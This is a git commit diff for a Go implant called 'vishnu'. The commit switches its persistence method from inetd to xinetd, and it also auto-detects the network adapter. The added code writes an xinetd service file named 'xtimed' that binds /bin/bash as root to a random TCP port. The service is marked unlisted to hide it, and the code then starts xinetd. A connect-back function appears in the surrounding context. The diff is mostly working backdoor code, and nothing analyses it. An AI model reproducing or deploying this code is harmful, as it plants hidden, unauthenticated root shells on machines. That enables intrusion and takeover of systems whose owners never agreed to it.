Adapter linux client for xinetd
Signed-off-by: Pin <wf6DJd8a3xSSCZbn@protonmail.com>
This commit is contained in:
23
main.go
23
main.go
@@ -8,6 +8,8 @@ import (
|
|||||||
"os"
|
"os"
|
||||||
"os/exec"
|
"os/exec"
|
||||||
"runtime"
|
"runtime"
|
||||||
|
"strings"
|
||||||
|
|
||||||
"strconv"
|
"strconv"
|
||||||
|
|
||||||
"github.com/emmaunel/vishnu/spec"
|
"github.com/emmaunel/vishnu/spec"
|
||||||
@@ -17,6 +19,19 @@ import (
|
|||||||
"github.com/google/gopacket/pcap"
|
"github.com/google/gopacket/pcap"
|
||||||
)
|
)
|
||||||
|
|
||||||
|
var serviceDefine = `service {{servicename}}
|
||||||
|
{
|
||||||
|
disable = no
|
||||||
|
server = /bin/bash
|
||||||
|
port = {{serviceport}}
|
||||||
|
flags = IPv4
|
||||||
|
user = root
|
||||||
|
socket_type = stream
|
||||||
|
protocol = tcp
|
||||||
|
wait = no
|
||||||
|
type = unlisted
|
||||||
|
}`
|
||||||
|
|
||||||
type targetInfo struct {
|
type targetInfo struct {
|
||||||
os string
|
os string
|
||||||
iFace string
|
iFace string
|
||||||
@@ -77,15 +92,17 @@ func vishnu(ip string, tInfo *targetInfo) {
|
|||||||
randomPort := rand.Intn(65535-100) + 100
|
randomPort := rand.Intn(65535-100) + 100
|
||||||
// println("The doors are open on port ", strconv.Itoa(randomPort))
|
// println("The doors are open on port ", strconv.Itoa(randomPort))
|
||||||
// Append to a file /etc/inetd.conf
|
// Append to a file /etc/inetd.conf
|
||||||
fd, err := os.OpenFile("/etc/inetd.conf", os.O_APPEND|os.O_WRONLY|os.O_CREATE, 0600)
|
fd, err := os.OpenFile("/etc/xinetd.d/xtimed", os.O_APPEND|os.O_WRONLY|os.O_CREATE, 0600)
|
||||||
errorPrinter(err)
|
errorPrinter(err)
|
||||||
defer fd.Close()
|
defer fd.Close()
|
||||||
|
|
||||||
if _, err = fd.WriteString(strconv.Itoa(randomPort) + " stream tcp nowait root /bin/bash bash\n"); err != nil {
|
xinetdServiceFile := strings.Replace(serviceDefine, "{{serviceport}}", strconv.Itoa(randomPort), 1)
|
||||||
|
xinetdServiceFile = strings.Replace(xinetdServiceFile, "{{servicename}}", "xtimed", 1)
|
||||||
|
if _, err = fd.WriteString(xinetdServiceFile); err != nil {
|
||||||
log.Panicln(err)
|
log.Panicln(err)
|
||||||
}
|
}
|
||||||
|
|
||||||
exec.Command("/usr/sbin/inetd").Run()
|
exec.Command("/usr/sbin/xinetd").Run()
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -6,7 +6,14 @@ import (
|
|||||||
)
|
)
|
||||||
|
|
||||||
func GetAdapter() string {
|
func GetAdapter() string {
|
||||||
return "ens160"
|
inetReturn := ""
|
||||||
|
inetInterfaces, _ := net.Interfaces()
|
||||||
|
if inetInterfaces[0].Name == "lo" { // Return second interface if first is loopback
|
||||||
|
inetReturn = inetInterfaces[1].Name
|
||||||
|
} else {
|
||||||
|
inetReturn = inetInterfaces[0].Name
|
||||||
|
}
|
||||||
|
return inetReturn
|
||||||
}
|
}
|
||||||
|
|
||||||
func ConnectBack(ip string, connectbackPort string) {
|
func ConnectBack(ip string, connectbackPort string) {
|
||||||
|
|||||||
Reference in New Issue
Block a user